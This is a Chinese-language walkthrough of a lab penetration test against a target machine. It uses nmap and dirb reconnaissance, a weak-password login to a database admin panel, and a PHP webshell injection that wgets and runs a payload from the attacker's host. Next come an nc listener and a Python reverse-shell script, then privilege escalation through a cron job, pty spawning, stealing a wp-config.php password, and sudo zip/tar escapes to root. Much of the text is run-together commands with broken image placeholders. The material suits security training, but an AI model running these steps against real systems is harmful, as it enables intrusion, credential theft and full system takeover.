1、首先探测靶机的信息
nmap -sV -T4 192.168.222.135
2、扫描网页目录
dirb http://192.168.222.135
nikto -host 192.168.222.135
发现利用nikto扫描网页时发现没有可以利用的信息。在dirb中发现有个dbadmin的网页,访问网页查看
发现了网站登录后台
尝试弱密码-------------------123456123123admin-------------------admin 尝试成功
可以利用的信息只有一个数据库,尝试用OWASP扫描网页查看是否还有网页漏洞
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nFcJvurM-1634979695899)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-1022151545401.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A8Ewuk0P-1634979695899)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-1022151754555.png)]
发现了目录遍历漏洞,访问网页
掌握的信息有1、数据库&2、目录遍历在kali里找到webshell进行上传服务器操作来getshell
二部分,getshell
1、使用kali自带的webshell
cd /usr/share/webshells/php/cp php-reverse-shell.php /root/Desktop //将shell文件复制到root桌面目录下mv php-reverse-shell.php shell.php//将文件重命名为shellvim shell.php//修改shell.php的基础信息
2、通过网页上传漏洞
表的内容应为我们创建的webshell,所以需要构建语句来进行上传&访问操作gedit shell.txt//创建一个文本用于复制<?php system("cd /tmp;wget http://192.168.222.128/webshell.php;chmod +x webshell.php;php webshell.php");?>
不着急创建表,从构造语句中可以看出有Wget的命令url路径,要实现操作的话,首先需要将kali成为一台http服务器才可以让其Wget下载文件.通过pyhon的指令来将kali的桌面变成小型HTTP服务器python -m "SimpleHTTPServer"
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VDpfzWAH-1634979695902)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-1022155223826.png)]0
可以看出8000端口,所以在数据表上加上8000端口以使它能够访问kali同时开启kali的nc监听,以接受webshell的回弹指令nc -nlvp 4444
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2uvkArOd-1634979695903)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-1022160204064.png)]
第三部分,提权
查看其系统是否有内核漏洞
id#查看用户权限uname -a #查看内核版本cat /etc/issue #查看发行版本cat /etc/*-release #查看发行版本得知其发行版本为Ubuntu 12.04.5 LTS
searchsploit Ubuntu 12.04.5 LTS发现并没有对应的内核版本漏洞
定时任务进程
系统内可能存在一些定时执行的任务,一般由crontab管理,具有所属用户权限。普通用户可以列出/etc/内系统的定时任务可以被列出,但不可列出root的。如果有存在当前用户或所有用户可执行修改的定时进程,则可以替换该文件,变成反弹shell提权的代码。如脚本为py的,其它的类似如下操作反弹shell脚本#!/usr/bin/pythonimport os,subprocess,sockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#以太网和TCP套接字s.connect(("127.0.0.1",4444))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])#进程调用/bin/sh****查看是否有替他用户的计划任务cat /etc/crontab
密码复用
很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码有了(疑似)root密码怎么办?你一定想ssh登录。然而ssh很可能禁止root登录,或是防火墙规则将你排除在外了。此时我们是有着低权shell嘛,在上面输入密码。登录用户就好,在低权shell里面用sudo是不奏效的,出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能.在shell里面输入:python -c 'import pty;pty.spawn("/bin/sh")'
查看home目录,是否有可以利用的用户
ls -alh查看本文件夹下的所有文件(包括隐藏文件)发现有ssh 可以通过ssh来连接该用户cd wordpress查看是否有敏感文件查看wp-config.php 发现mysql的密码
输入sudo -l 查看当前用户可以使用root提权的命令信息
利用ZIP提权
touch exploitsudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"提权成功
利用TAR提权
sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action="/bin/bash"上面的指令报错,换另一种sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action=exec=/bin/bash提权成功